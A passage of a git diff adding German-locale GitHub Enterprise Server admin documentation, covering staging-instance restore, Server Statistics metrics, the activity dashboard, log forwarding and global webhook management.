+Verwende den Befehl `ghe-restore`, um die restlichen Daten aus der Sicherung wiederherzustellen. Weitere Informationen findest du unter [Wiederherstellen einer Sicherung](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup).
+
+Wenn die Staginginstanz bereits konfiguriert ist und du Einstellungs-, Zertifikats- und Lizenzdaten überschreiben möchtest, füge dem Befehl die Option `-c` hinzu. Weitere Informationen zu dieser Option findest du unter [Verwenden der Sicherung und Wiederherstellen von Befehlen](https://github.com/github/backup-utils/blob/master/docs/usage.md#restoring-settings-tls-certificate-and-license) in der Dokumentation zu {% data variables.product.prodname_enterprise_backup_utilities %}.
+
+### 6. Überprüfen der Konfiguration der Instanz
+
+Um mithilfe desselben Hostnamen auf die Staginginstanz zuzugreifen, aktualisiere deine lokale Hostdatei, um den Hostnamen der Staginginstanz nach IP-Adresse aufzulösen. Bearbeite dazu die Datei `/etc/hosts` in macOS oder Linux oder die Datei `C:\Windows\system32\drivers\etc` in Windows.
+
+{% note %}
+
+**Hinweis**: Zugriff auf deine Staginginstanz muss von demselben Hostnamen möglich sein wie auch auf deine Produktionsinstanz. Das Ändern des Hostnamens für {% data variables.location.product_location %} wird nicht unterstützt. Weitere Informationen findest Du unter „[Konfigurieren eines Hosznamens](/admin/configuration/configuring-network-settings/configuring-a-hostname)“.
+
+{% endnote %}
+
+Überprüfe dann die Konfiguration der Staginginstanz auf der {% data variables.enterprise.management_console %}. Weitere Informationen findest du unter [Zugreifen auf die {% data variables.enterprise.management_console %}](/admin/configuration/configuring-your-enterprise/accessing-the-management-console).
+
+{% warning %}
+
+**Warnung**: Wenn du {% data variables.product.prodname_actions %} oder {% data variables.product.prodname_registry %} für die Staginginstanz konfiguriert hast, stelle sicher, dass die Konfiguration für den externen Speicher in der {% data variables.enterprise.management_console %} nicht mit deiner Produktionsinstanz übereinstimmt, sodass das Überschreiben von Produktionsdaten vermieden wird.
+
+{% endwarning %}
+
+### 7. Anwenden der Konfiguration der Instanz
+
+Zum Anwenden der Konfiguration aus der {% data variables.enterprise.management_console %}, klicke auf **Einstellungen speichern**.
+
+## Weitere Informationsquellen
+
+- „[Informationen zu Upgrades auf neue Releases](/admin/overview/about-upgrades-to-new-releases)“
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics.md
new file mode 100644
index 0000000000..8dca96d496
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics.md
@@ -0,0 +1,100 @@
+---
+title: About Server Statistics
+intro: 'You can use {% data variables.product.prodname_server_statistics %} to analyze your own aggregate data from {% data variables.product.prodname_ghe_server %}, and help us improve {% data variables.product.company_short %} products.'
+versions:
+  feature: server-statistics
+permissions: 'Enterprise owners can enable {% data variables.product.prodname_server_statistics %}.'
+redirect_from:
+  - /early-access/github/analyze-how-your-team-works-with-server-statistics/about-server-statistics
+topics:
+  - Enterprise
+---
+
+## About the benefits of {% data variables.product.prodname_server_statistics %}
+
+{% data variables.product.prodname_server_statistics %} can help you anticipate the needs of your organization, understand how your team works, and show the value you get from {% data variables.product.prodname_ghe_server %}.
+
+Once enabled, {% data variables.product.prodname_server_statistics %} collects aggregate data on how much certain features are used on your instance over time. Unlike other [Admin Stats API](/rest/reference/enterprise-admin#admin-stats) endpoints, which only return data for the last day, {% data variables.product.prodname_server_statistics %} provides historical data of all {% data variables.product.prodname_server_statistics %} metrics collected since the day you enabled the feature. For more information, see "[Enabling {% data variables.product.prodname_server_statistics %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise)."
+
+When you enable {% data variables.product.prodname_server_statistics %}, you're helping to build a better {% data variables.product.prodname_dotcom %}. The aggregated data you'll provide gives us insights into how {% data variables.product.prodname_dotcom %} adds value to our customers. This information allows {% data variables.product.company_short %} to make better and more informed product decisions, ultimately benefiting you.
+
+## About data security
+
+We respect your data. We will never transmit data from {% data variables.location.product_location %} unless you have first given us permission to do so.
+
+We collect no personal data. We also don't collect any {% data variables.product.company_short %} content, such as code, issues, comments, or pull request content.
+
+Only owners of the connected enterprise account or organization on {% data variables.product.prodname_ghe_cloud %} can access the data.
+
+Only certain aggregate metrics are collected on repositories, issues, pull requests, and other features. To see the list of aggregate metrics collected, see "[{% data variables.product.prodname_server_statistics %} data collected](#server-statistics-data-collected)." 
+
+Any updates to the collected metrics will happen in future feature releases of {% data variables.product.prodname_ghe_server %} and will be described in the [{% data variables.product.prodname_ghe_server %} release notes](/admin/release-notes). In addition, we will update this article with all metric updates.
+
+For a better understanding of how we store and secure {% data variables.product.prodname_server_statistics %} data, see "[GitHub Security](https://github.com/security)."
+
+### About data retention and deletion
+
+{% data variables.product.company_short %} collects {% data variables.product.prodname_server_statistics %} data for as long as your {% data variables.product.prodname_ghe_server %} license is active and the {% data variables.product.prodname_server_statistics %} feature is enabled.
+
+If you would like to delete your data, you may do so by contacting GitHub Support, your {% data variables.product.prodname_dotcom %} account representative, or your Customer Success Manager.  Generally, we delete data in the timeframe specified in our privacy statement. For more information, see [{% data variables.product.company_short %}'s privacy statement](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement#data-retention-and-deletion-of-data) in the {% data variables.product.prodname_dotcom_the_website %} documentation.
+
+### About data portability
+
+As an organization owner or enterprise owner on {% data variables.product.prodname_ghe_cloud %}, you can access {% data variables.product.prodname_server_statistics %} data by exporting the data in a CSV or JSON file or through the {% data variables.product.prodname_server_statistics %} REST API. For more information, see "[Requesting {% data variables.product.prodname_server_statistics %} using the REST API](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api)" or "[Exporting {% data variables.product.prodname_server_statistics %}](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics)."
+
+## About disabling data collection
+
+You can disable the {% data variables.product.prodname_server_statistics %} feature at any time. For more information, see "[Enabling {% data variables.product.prodname_server_statistics %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise)."
+
+## {% data variables.product.prodname_server_statistics %} data collected
+
+After you enable {% data variables.product.prodname_server_statistics %}, metrics are collected through a daily job that runs on {% data variables.location.product_location %}. The aggregate metrics are stored on your organization or enterprise account on {% data variables.product.prodname_ghe_cloud %} and are not stored on {% data variables.location.product_location %}.
+
+The following aggregate metrics will be collected and transmitted on a daily basis and represent the total counts for the day:
+  - `active_hooks`
+  - `admin_users`
+  - `closed_issues`
+  - `closed_milestones`
+  - `collection_date`
+  - `disabled_orgs`
+  - `dormancy_threshold`
+  - `fork_repos`
+  - `ghes_version`
+  - `github_connect_features_enabled`
+  - `inactive_hooks`
+  - `mergeable_pulls`
+  - `merged_pulls`
+  - `open_issues`
+  - `open_milestones`
+  - `org_repos`
+  - `private_gists`
+  - `public_gists`
+  - `root_repos`
+  - `schema_version`
+  - `server_id`
+  - `suspended_users`
+  - `total_commit_comments`
+  - `total_dormant_users`
+  - `total_gist_comments`
+  - `total_gists`
+  - `total_hooks`
+  - `total_issues`
+  - `total_issue_comments`
+  - `total_milestones`
+  - `total_repos`
+  - `total_orgs`
+  - `total_pages`
+  - `total_pull_request_comments`
+  - `total_pulls`
+  - `total_pushes`
+  - `total_team_members`
+  - `total_teams`
+  - `total_users`
+  - `total_wikis`
+  - `unmergeable_pulls`
+
+## {% data variables.product.prodname_server_statistics %} payload example
+
+To see an example of the response payload for the {% data variables.product.prodname_server_statistics %} API, see "[Requesting {% data variables.product.prodname_server_statistics %} using the REST API](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api)."
+
+To see a list of the data collected, see "[{% data variables.product.prodname_server_statistics %} data collected](#server-statistics-data-collected)."
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md
new file mode 100644
index 0000000000..7c27d61f40
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md
@@ -0,0 +1,47 @@
+---
+title: Exporting Server Statistics
+shortTitle: Export Server Statistics
+intro: 'You can use your own tools to analyze your {% data variables.product.prodname_ghe_server %} usage over time by downloading your {% data variables.product.prodname_server_statistics %} metrics in a CSV or JSON file.'
+versions:
+  feature: server-statistics
+redirect_from:
+  - /early-access/github/analyze-how-your-team-works-with-server-statistics/exploring-server-statistics
+---
+
+You can download up to the last 365 days of {% data variables.product.prodname_server_statistics %} data in a CSV or JSON file. This data, which includes aggregate metrics on repositories, issues, and pull requests, can help you anticipate the needs of your organization, understand how your team works, and show the value you get from {% data variables.product.prodname_ghe_server %}. 
+
+Before you can download this data, you must enable {% data variables.product.prodname_server_statistics %}. For more information, see "[Enabling {% data variables.product.prodname_server_statistics %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise)." 
+
+To preview the metrics available to download, see "[About {% data variables.product.prodname_server_statistics %}](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics)."
+
+To download these metrics, you must be an enterprise owner or organization owner on {% data variables.product.prodname_ghe_cloud %}.
+  - If {% data variables.location.product_location %} is connected to an enterprise account on {% data variables.product.prodname_ghe_cloud %}, see "[Downloading metrics from your enterprise account](#downloading-metrics-from-your-enterprise-account)."
+  - If {% data variables.location.product_location %} is connected to an organization on {% data variables.product.prodname_ghe_cloud %}, see "[Downloading metrics from your organization](#downloading-metrics-from-your-organization)."
+
+To learn more about {% data variables.product.prodname_github_connect %}, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)."
+
+## Downloading metrics from your enterprise account
+
+1. In the top-right corner of {% data variables.product.prodname_ghe_cloud %}, click your profile photo, then click **Your enterprises**.
+  ![Drop down menu with "Your enterprises" option](/assets/images/help/enterprises/enterprise-admin-account-settings.png)
+
+2. Next to your desired enterprise account, click **Settings**.
+  ![Settings button next to Enterprise admin account](/assets/images/help/enterprises/enterprise-admin-account-settings-button.png)
+
+3. On the left, click **GitHub Connect**.
+  ![GitHub Connect option under enterprise admin account](/assets/images//help/enterprises/enterprise-admin-github-connect.png)
+
+{% data reusables.server-statistics.csv-download %}
+
+## Downloading metrics from your organization
+
+1. In the top-right corner of {% data variables.product.prodname_ghe_cloud %}, click your profile photo, then click **Your organizations**.
+  ![Drop down menu with "Your organizations" option](/assets/images/help/enterprises/github-enterprise-cloud-organizations.png)
+
+2. In the list of organizations, next to the organization that's connected to {% data variables.location.product_location %}, click **Settings**.
+  ![Settings button next to {% data variables.product.prodname_ghe_cloud %} organization](/assets/images/help/enterprises/settings-for-ghec-org.png)
+
+3. On the left, click **GitHub Connect**.
+  ![GitHub Connect option in an organization account settings left sidebar](/assets/images/help/enterprises/github-connect-option-for-ghec-org.png)
+
+{% data reusables.server-statistics.csv-download %}
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/index.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/index.md
new file mode 100644
index 0000000000..222dd65beb
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/index.md
@@ -0,0 +1,18 @@
+---
+title: 'Analysieren, wie dein Team mit Serverstatistiken arbeitet'
+shortTitle: Server Statistics
+intro: 'Um zu analysieren, wie dein Team arbeitet, zu verstehen, welchen Nutzen du aus {% data variables.product.prodname_ghe_server %} ziehst, und uns dabei zu helfen, unsere Produkte zu verbessern, kannst du {% data variables.product.prodname_server_statistics %} verwenden, um deine Nutzungsdaten für {% data variables.product.prodname_ghe_server %} zu überprüfen und diese aggregierten Daten mit {% data variables.product.company_short %} freizugeben.'
+versions:
+  feature: server-statistics
+children:
+  - /about-server-statistics
+  - /exporting-server-statistics
+  - /requesting-server-statistics-using-the-rest-api
+ms.openlocfilehash: 76f0e75b3d496800368a2dca38f613ba750924bc
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884181'
+---
+
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api.md
new file mode 100644
index 0000000000..b1e8151d31
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api.md
@@ -0,0 +1,20 @@
+---
+title: Anfordern von Serverstatistiken mithilfe der REST-API
+shortTitle: Server Statistics and REST API
+intro: 'Du kannst deine eigenen Tools verwenden, um deine {% data variables.product.prodname_ghe_server %}-Nutzung im Zeitverlauf zu analysieren, indem du die {% data variables.product.prodname_server_statistics %}-Metriken anforderst, die mithilfe der REST-API gesammelt wurden.'
+versions:
+  feature: server-statistics
+redirect_from:
+  - /early-access/github/analyze-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api
+ms.openlocfilehash: d93a51a1d39840187b14480eb91e06e0a4606332
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147409331'
+---
+Mit einer einzigen REST-API-Anforderung für {% data variables.product.prodname_server_statistics %} kannst du Metriken für bis zu 365 Tage anfordern. Diese Daten enthalten aggregierte Metriken zu Repositorys, Issues und Pull Requests, die helfen können, die Bedürfnisse deiner Organisation zu antizipieren, zu verstehen, wie dein Team arbeitet, und den Wert zu zeigen, den du von {% data variables.product.prodname_ghe_server %} erhältst. Eine Liste der erfassten Metriken findest du unter [Erfasste {% data variables.product.prodname_server_statistics %}-Daten](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics#server-statistics-data-collected).
+
+Bevor du die REST-API für {% data variables.product.prodname_server_statistics %} verwenden kannst, musst du {% data variables.product.prodname_server_statistics %} aktivieren. Weitere Informationen findest du unter [Aktivieren von {% data variables.product.prodname_server_statistics %} für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise). 
+
+Weitere Informationen zum Verwenden der REST-API zum Anfordern von Serverstatistiken findest du unter [Abrufen von {% data variables.product.prodname_ghe_server %}-Statistiken](/enterprise-cloud@latest/rest/enterprise-admin/admin-stats#get-github-enterprise-server-statistics) in der REST-API-Dokumentation zu {% data variables.product.prodname_ghe_cloud %}.
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/activity-dashboard.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/activity-dashboard.md
new file mode 100644
index 0000000000..0141aa203a
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/activity-dashboard.md
@@ -0,0 +1,40 @@
+---
+title: Aktivitäts-Dashboard
+intro: Das Aktivitätsdashboard bietet einen Überblick über alle Aktivitäten in deinem Unternehmen.
+redirect_from:
+  - /enterprise/admin/articles/activity-dashboard
+  - /enterprise/admin/installation/activity-dashboard
+  - /enterprise/admin/user-management/activity-dashboard
+  - /admin/user-management/activity-dashboard
+  - /admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+ms.openlocfilehash: 3c1c9ade1baed615d70ca82c8104ce0ed11921fd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106711'
+---
+Das Aktivitäts-Dashboard bietet wöchentliche, monatliche und jährliche Grafiken zur Anzahl der
+- neuen Pull Requests,
+- gemergten Pull Requests,
+- Neue Issues
+- Abgeschlossene Probleme
+- neuen Issue-Komponenten,
+- neuen Repositorys,
+- neuen Benutzerkonten,
+- neuen Organisationen,
+- neuen Teams.
+
+![Aktivitäts-Dashboard](/assets/images/enterprise/activity/activity-dashboard-yearly.png)
+
+## Auf das Aktivitäts-Dashboard zugreifen
+
+1. Klicke auf einer beliebigen Seite oben auf **Erkunden**.
+![Registerkarte „Erkunden“](/assets/images/enterprise/settings/ent-new-explore.png)
+2. Klicke oben rechts auf **Aktivität**.
+![Schaltfläche „Aktivität“](/assets/images/enterprise/activity/activity-button.png)
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/index.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/index.md
new file mode 100644
index 0000000000..231d9d807a
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/index.md
@@ -0,0 +1,23 @@
+---
+title: Erkunden von Benutzeraktivitäten in deinem Unternehmen
+intro: 'Du kannst Benutzer- und Systemaktivitäten anzeigen, indem du Dashboards, Webhooks und Protokollweiterleitung nutzt.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /activity-dashboard
+  - /viewing-push-logs
+  - /log-forwarding
+  - /managing-global-webhooks
+shortTitle: Explore user activity
+ms.openlocfilehash: 2e462be60197d1f9f209bdabfbbffb2332564549
+ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147876874'
+---
+
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding.md
new file mode 100644
index 0000000000..dab0baa151
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding.md
@@ -0,0 +1,62 @@
+---
+title: Protokollweiterleitung
+intro: '{% data variables.product.product_name %} verwendet `syslog-ng`, um {% ifversion ghes %}system{% elsif ghae %}Git-{% endif %} und Anwendungsprotokolle an den Server weiterzuleiten, den du angibst.'
+redirect_from:
+  - /enterprise/admin/articles/log-forwarding
+  - /enterprise/admin/installation/log-forwarding
+  - /enterprise/admin/enterprise-management/log-forwarding
+  - /admin/enterprise-management/log-forwarding
+  - /admin/user-management/log-forwarding
+  - /admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Auditing
+  - Enterprise
+  - Logging
+  - Security
+ms.openlocfilehash: 935c8f0221c4541d2801a5e705779efff3d34370
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104204'
+---
+## Informationen zur Protokollweiterleitung
+
+Jedes Protokollsammlungssystem, das „syslog-style“-Protokolldatenströme unterstützt, wird ebenfalls unterstützt (z. B. [Logstash](http://logstash.net/) und [Splunk](http://docs.splunk.com/Documentation/Splunk/latest/Data/Monitornetworkports)).
+
+Wenn du die Protokollweiterleitung aktivierst, musst du ein Zertifizierungsstellenzertifikat hochladen, um die Kommunikation zwischen Syslog-Endpunkten zu verschlüsseln. Deine Appliance und der Remote-Syslog-Server führen bidirektionales SSL aus, wobei jeweils ein Zertifikat für das andere bereitgestellt und das empfangene Zertifikat überprüft wird.
+
+## Protokollweiterleitung aktivieren
+
+{% ifversion ghes %}
+1. Klicke auf der Seite mit den Einstellungen für {% data variables.enterprise.management_console %} in der linken Seitenleiste auf **Überwachung**.
+1. Wähle **Protokollweiterleitung aktivieren** aus.
+1. Gib im Feld **Serveradresse** die Adresse des Servers ein, an den du Protokolle weiterleiten möchtest. Du kannst mehrere Adressen in einer kommagetrennten Liste angeben.
+1. Wähle im Dropdownmenü „Protocol“ (Protokoll) das Protokoll aus, das für die Kommunikation mit dem Protokollserver verwendet werden soll. Das Protokoll wird auf alle angegebenen Protokollziele angewendet.
+1. Wähle optional **TLS aktivieren** aus. Wir empfehlen, TLS entsprechend deinen lokalen Sicherheitsrichtlinien zu aktivieren – insbesondere, wenn es zwischen der Appliance und Remoteprotokollservern nicht vertrauenswürdige Netzwerke gibt. 
+1. Wenn du die Kommunikation zwischen Syslog-Endpunkten verschlüsseln möchtest, klicke auf **Datei auswählen**, und wähle ein Zertifizierungsstellenzertifikat für den Remote-Syslog-Server aus. Du solltest ein Zertifizierungsstellenpaket mit einer Verkettung der Zertifikate derjenigen Zertifizierungsstellen hochladen, die an der Signatur des Zertifikats für den Remoteprotokollserver beteiligt sind. Die gesamte Zertifikatkette wird validiert und muss in einem Root-Zertifikat beendet werden. Weitere Informationen findest du in der [„syslog-ng“-Dokumentation unter „TLS-Optionen“](https://support.oneidentity.com/technical-documents/syslog-ng-open-source-edition/3.16/administration-guide/56#TOPIC-956599).
+{% elsif ghae %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %}
+1. Klicke unter {% octicon "gear" aria-label="The Settings gear" %} **Einstellungen** auf **Protokollweiterleitung**.
+  ![Registerkarte „Protokollweiterleitung“](/assets/images/enterprise/business-accounts/log-forwarding-tab.png)
+1. Wähle unter „Protokollweiterleitung“ die Option **Protokollweiterleitung aktivieren** aus.
+  ![Kontrollkästchen zum Aktivieren der Protokollweiterleitung](/assets/images/enterprise/business-accounts/enable-log-forwarding-checkbox.png)
+1. Gib unter „Serveradresse“ die Adresse des Servers ein, an den du Protokolle weiterleiten möchtest.
+  ![Feld „Serveradresse“](/assets/images/enterprise/business-accounts/server-address-field.png)
+1. Wähle im Dropdownmenü „Protokoll“ das gewünschte Protokoll aus.
+  ![Dropdownmenü „Protokoll“](/assets/images/enterprise/business-accounts/protocol-drop-down-menu.png)
+1. Wenn du TLS-verschlüsselte Kommunikation zwischen Syslog-Endpunkten aktivieren möchtest, wähle optional **TLS aktivieren** aus.
+  ![Kontrollkästchen zum Aktivieren von TLS](/assets/images/enterprise/business-accounts/enable-tls-checkbox.png)
+1. Füge unter „Öffentliches Zertifikat“ dein x509-Zertifikat ein.
+  ![Textfeld für öffentliches Zertifikat](/assets/images/enterprise/business-accounts/public-certificate-text-box.png)
+1. Klicken Sie auf **Speichern**.
+  ![Schaltfläche „Speichern“ zur Protokollweiterleitung](/assets/images/enterprise/business-accounts/save-button-log-forwarding.png) {% endif %}
+
+{% ifversion ghes %}
+## Problembehandlung
+
+Wenn bei der Protokollweiterleitung Probleme auftreten, wende dich an {% data variables.contact.contact_ent_support %}, und füge die Ausgabedatei von `http(s)://[hostname]/setup/diagnostics` an deine E-Mail an.
+{% endif %}
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md
new file mode 100644
index 0000000000..b52e938922
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md
@@ -0,0 +1,100 @@
+---
+title: Managing global webhooks
+shortTitle: Manage global webhooks
+intro: You can configure global webhooks to notify external web servers when events occur within your enterprise.
+permissions: Enterprise owners can manage global webhooks for an enterprise account.
+redirect_from:
+  - /enterprise/admin/user-management/about-global-webhooks
+  - /enterprise/admin/user-management/managing-global-webhooks
+  - /admin/user-management/managing-global-webhooks
+  - /admin/user-management/managing-users-in-your-enterprise/managing-global-webhooks
+  - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/configuring-webhooks-for-organization-events-in-your-enterprise-account
+  - /articles/configuring-webhooks-for-organization-events-in-your-business-account
+  - /articles/configuring-webhooks-for-organization-events-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/configuring-webhooks-for-organization-events-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/configuring-webhooks-for-organization-events-in-your-enterprise-account
+  - /admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Webhooks
+---
+
+## About global webhooks
+
+You can use global webhooks to notify an external web server when events occur within your enterprise. You can configure the server to receive the webhook's payload, then run an application or code that monitors, responds to, or enforces rules for user and organization management for your enterprise. For more information, see "[Webhooks](/developers/webhooks-and-events/webhooks)."
+
+For example, you can configure {% data variables.location.product_location %} to send a webhook when someone creates, deletes, or modifies a repository or organization within your enterprise. You can configure the server to automatically perform a task after receiving the webhook.
+
+![List of global webhooks](/assets/images/enterprise/site-admin-settings/list-of-global-webhooks.png)
+
+{% data reusables.enterprise_user_management.manage-global-webhooks-api %}
+
+## Adding a global webhook
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.hooks-tab %}
+5. Click **Add webhook**.
+  ![Add webhook button on Webhooks page in Admin center](/assets/images/enterprise/site-admin-settings/add-global-webhook-button.png)
+6. Type the URL where you'd like to receive payloads.
+  ![Field to type a payload URL](/assets/images/enterprise/site-admin-settings/add-global-webhook-payload-url.png)
+7. Optionally, use the **Content type** drop-down menu, and click a payload format.
+  ![Drop-down menu listing content type options](/assets/images/enterprise/site-admin-settings/add-global-webhook-content-type-dropdown.png)
+8. Optionally, in the **Secret** field, type a string to use as a `secret` key.
+  ![Field to type a string to use as a secret key](/assets/images/enterprise/site-admin-settings/add-global-webhook-secret.png)
+9. Optionally, if your payload URL is HTTPS and you would not like {% data variables.product.prodname_ghe_server %} to verify SSL certificates when delivering payloads, select **Disable SSL verification**. Read the information about SSL verification, then click **I understand my webhooks may not be secure**.
+  ![Checkbox for disabling SSL verification](/assets/images/enterprise/site-admin-settings/add-global-webhook-disable-ssl-button.png)
+
+  {% warning %}
+
+  **Warning:** SSL verification helps ensure that hook payloads are delivered securely. We do not recommend disabling SSL verification.
+
+  {% endwarning %}
+10. Decide if you'd like this webhook to trigger for every event or for selected events.
+  ![Radio buttons with options to receive payloads for every event or selected events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-events.png)
+    - For every event, select **Send me everything**.
+    - To choose specific events, select **Let me select individual events**.
+11. If you chose to select individual events, select the events that will trigger the webhook.
+      {% ifversion ghec %}
+      ![Checkboxes for individual global webhook events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events.png)
+      {% elsif ghes or ghae %}
+      ![Checkboxes for individual global webhook events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events-ghes-and-ae.png)
+      {% endif %}
+12. Confirm that the **Active** checkbox is selected.
+  ![Selected Active checkbox](/assets/images/help/business-accounts/webhook-active.png)
+13. Click **Add webhook**.
+
+## Editing a global webhook
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.hooks-tab %}
+5. Next to the webhook you'd like to edit, click **Edit**.
+  ![Edit button next to a webhook](/assets/images/enterprise/site-admin-settings/edit-global-webhook-button.png)
+6. Update the webhook's settings.
+7. Click **Update webhook**.
+
+## Deleting a global webhook
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.hooks-tab %}
+5. Next to the webhook you'd like to delete, click **Delete**.
+  ![Delete button next to a webhook](/assets/images/enterprise/site-admin-settings/delete-global-webhook-button.png)
+6. Read the information about deleting a webhook, then click **Yes, delete webhook**.
+  ![Pop-up box with warning information and button to confirm deleting the webhook](/assets/images/enterprise/site-admin-settings/confirm-delete-global-webhook.png)
+
+## Viewing recent deliveries and responses
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.hooks-tab %}
+5. In the list of webhooks, click the webhook for which you'd like to see deliveries.
+  ![List of webhooks with links to view each webhook](/assets/images/enterprise/site-admin-settings/click-global-webhook.png)
+6. Under "Recent deliveries", click a delivery to view details.
+  ![List of the webhook's recent deliveries with links to view details](/assets/images/enterprise/site-admin-settings/global-webhooks-recent-deliveries.png)
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/viewing-push-logs.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/viewing-push-logs.md
new file mode 100644
index 0000000000..cdc34ff51f
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/viewing-push-logs.md
@@ -0,0 +1,53 @@
+---
+title: Push-Protokolle anzeigen
+intro: Websiteadministratoren können eine Liste der Git-Pushvorgänge für jedes Repository im Unternehmen einsehen.
+redirect_from:
+  - /enterprise/admin/articles/viewing-push-logs
+  - /enterprise/admin/installation/viewing-push-logs
+  - /enterprise/admin/user-management/viewing-push-logs
+  - /admin/user-management/viewing-push-logs
+  - /admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs
+versions:
